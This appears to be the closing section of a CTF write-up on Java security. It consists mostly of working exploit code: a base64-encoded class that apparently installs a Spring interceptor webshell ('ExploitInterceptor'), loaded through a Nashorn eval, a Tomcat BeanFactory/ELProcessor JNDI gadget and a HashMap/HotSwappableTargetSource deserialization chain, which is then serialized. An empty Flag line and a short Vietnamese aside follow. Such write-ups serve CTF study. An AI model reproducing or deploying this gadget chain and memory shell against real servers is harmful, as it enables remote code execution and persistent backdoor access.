QUFNQVB3QUFBU01BQlFBSEFBQUFqaXU1QUFNQkFCSUV0Z0FGbVFDQnVBQUdCcjBBQjFrREVnaFRXUVFTQ1ZOWkJSSUtVN1lBQzdZQUREb0V1d0FOV1JrRXR3QU9FZysyQUJDMkFCRTZCYnNBRWxtM0FCTVNGTFlBRmJnQUZoa0Z0Z0FYdGdBWXRnQVZFaG0yQUJXMkFCbzZCaXdTR3hJY3VRQWRBd0FzdVFBZUFRQVpCcllBSHl5NUFCNEJBTFlBSUN5NUFCNEJBTFlBSVFPc0JLd0FBQUFEQUVBQUFBQXFBQW9BQUFBbEFBNEFKZ0FzQUNjQVB3QXBBR01BS2dCdEFDc0FlQUFzQUlFQUxRQ0tBQzRBakFBd0FFRUFBQUJJQUFjQUxBQmdBRlFBVlFBRUFEOEFUUUJXQUZjQUJRQmpBQ2tBV0FCWEFBWUFBQUNPQUVJQVF3QUFBQUFBamdCRUFFVUFBUUFBQUk0QVJnQkhBQUlBQUFDT0FFZ0FTUUFEQUZrQUFBQUZBQUg3QUl3QVRBQUFBQVFBQVFBNEFFMEFBQUFOQXdCRUFBQUFSZ0FBQUVnQUFBQUJBRm9BV3dBQkFEOEFBQUdEQUFNQUJnQUFBSUFxdHdBaXVBQWpFaVFEdVFBbEF3REFBQ1pNS3hJbnVRQW9BZ0RBQUNsTkVpa1NLcllBSzA0dEJMWUFMQzBzdGdBdHdBQXVPZ1FETmdVVkJSa0V0Z0F2b2dBZkdRUVZCYllBTU1FQU1aa0FETElBTWhJenRnQTBzWVFGQWFmLzNic0FNVmtTTmJjQU5qb0ZHUVFaQmJZQU4xZW5BQTFNdXdBNVdTdTNBRHEvc1FBQ0FBUUFXQUIxQURnQVdRQnlBSFVBT0FBRUFFQUFBQUJHQUJFQUFBQTBBQVFBTmdBVEFEY0FId0E0QUNjQU9RQXNBRG9BTmdBOEFFTUFQUUJRQUQ0QVdBQS9BRmtBUEFCZkFFSUFhZ0JEQUhJQVJ3QjFBRVVBZGdCR0FIOEFTUUJCQUFBQVVnQUlBRGtBSmdCY0FGMEFCUUFUQUY4QVhnQmZBQUVBSHdCVEFHQUFZUUFDQUNjQVN3QmlBR01BQXdBMkFEd0FaQUJsQUFRQWFnQUlBR1lBUXdBRkFIWUFDUUJuQUZFQUFRQUFBSUFBUWdCREFBQUFhQUFBQUF3QUFRQTJBRHdBWkFCcEFBUUFXUUFBQUNzQUJmOEFPUUFHQndCcUJ3QnJCd0JzQndCdEJ3QnVBUUFBSC9vQUJmOEFGUUFCQndCcUFBRUhBRzhKQUFJQVdnQndBQUlBUHdBQUFEa0FBUUFDQUFBQUJTcTNBQ0t4QUFBQUFnQkFBQUFBQmdBQkFBQUFTZ0JCQUFBQUZnQUNBQUFBQlFCQ0FFTUFBQUFBQUFVQWNRQlhBQUVBVFFBQUFBVUJBSEVBQUFBQkFISUFjd0FEQUQ4QUFBQS9BQUFBQXdBQUFBR3hBQUFBQWdCQUFBQUFCZ0FCQUFBQVR3QkJBQUFBSUFBREFBQUFBUUJDQUVNQUFBQUFBQUVBZEFCMUFBRUFBQUFCQUhZQWR3QUNBRXdBQUFBRUFBRUFlQUJOQUFBQUNRSUFkQUFBQUhZQUFBQUJBSElBZVFBREFEOEFBQUJKQUFBQUJBQUFBQUd4QUFBQUFnQkFBQUFBQmdBQkFBQUFWQUJCQUFBQUtnQUVBQUFBQVFCQ0FFTUFBQUFBQUFFQWRBQjFBQUVBQUFBQkFIb0Fld0FDQUFBQUFRQklBSHdBQXdCTUFBQUFCQUFCQUhnQVRRQUFBQTBEQUhRQUFBQjZBQUFBU0FBQUFBSUFmUUFBQUFJQWZnRGRBQUFBQ2dBQkFKb0Fsd0RjQUFsd2RBQUJNWEIzQVFCNGVBPT0BAB17ImNvZGUiOiIyMDAiLCJtZXNzYWdlIjoiJXMifQEAEGphdmEvbGFuZy9PYmplY3QMAKwArQEAEWphdmEvdXRpbC9TY2FubmVyDABSAGcBAAJcQQwArgCvDACwAKkBAAxDb250ZW50LVR5cGUBAB5hcHBsaWNhdGlvbi9qc29uO2NoYXJzZXQ9VVRGLTgHALEMALIAswwAtAC1BwC2DAC3AGcMALgAUwwAuQBTDABSAFMHALoMALsAvAEAOW9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLnNlcnZsZXQuRGlzcGF0Y2hlclNlcnZsZXQuQ09OVEVYVAcAvQwAvgC/AQAub3JnL3NwcmluZ2ZyYW1ld29yay9jb250ZXh0L0FwcGxpY2F0aW9uQ29udGV4dAwAwADBAQA+b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9oYW5kbGVyL0Fic3RyYWN0SGFuZGxlck1hcHBpbmcHAMIMAMMAxAcApgwAxQDGDADHAMgBABNqYXZhL3V0aWwvQXJyYXlMaXN0DADJAMoMAMcAywEAEkV4cGxvaXRJbnRlcmNlcHRvcgcAzAwAzQDOAQAeVGVtcEludGVyY2VwdG9yIGhhcyBiZWVuIGFkZGVkBwDPDADQAGcBAAZibGFibGEMANEAqwEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAUgDSAQAyb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9IYW5kbGVySW50ZXJjZXB0b3IBABBqYXZhL2xhbmcvU3RyaW5nAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQANZ2V0UmVxdWVzdFVSSQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQAGZm9ybWF0AQA5KExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9TdHJpbmc7AQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAJYWRkSGVhZGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylWAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAFd3JpdGUBAAVmbHVzaAEABWNsb3NlAQA8b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RDb250ZXh0SG9sZGVyAQAYY3VycmVudFJlcXVlc3RBdHRyaWJ1dGVzAQA9KClMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RBdHRyaWJ1dGVzOwEAOW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRl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";

        String evalCode = "var str = '" + b64payload +"';var Thread = Java.type('java.lang.Thread');var tt=Thread.currentThread().getContextClassLoader();var b64 = Java.type('sun.misc.BASE64Decoder');var b=new b64().decodeBuffer(str);var byteArray = Java.type('byte[]');var int = Java.type('int');var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod('defineClass',byteArray.class,int.class,int.class);defineClassMethod.setAccessible(true);var cc = defineClassMethod.invoke(tt,b,0,b.length);cc.newInstance();";

        ResourceRef ref = new ResourceRef(
                "javax.el.ELProcessor",
                null, "", "",
                true,"org.apache.naming.factory.BeanFactory",
                null);
        ref.add(new StringRefAddr("forceString", "x=eval"));
        ref.add(new StringRefAddr("x", "{\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"" + evalCode + "\")}"));

        cpe.setResolvedObj(ref);
        Reflections.setFieldValue(cpe, "suppressedExceptions", null);
        DirContext ctx = (DirContext) constructor.newInstance(cpe, new Hashtable<>());

        JSONObject jsonObject = new JSONObject();
        jsonObject.put("xxxx", ctx);


        Result result1 = new Result("cccc1", "cccc1");
        Result result2 = new Result("cccc2", "cccc2");

        Reflections.setFieldValue(result1, "message", jsonObject);


        HotSwappableTargetSource v1 = new HotSwappableTargetSource(result1);
        HotSwappableTargetSource v2 = new HotSwappableTargetSource(result2);

        HashMap hm = makeMap(v1, v2);


        byte[] s = serialize(hm);
        
    }
    public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        setValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setValue(s, "table", tbl);
        return s;
    }
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

}

Flag:

P/S: Chả i di da va tẹo nào 🥴

tags: ctf, java-sec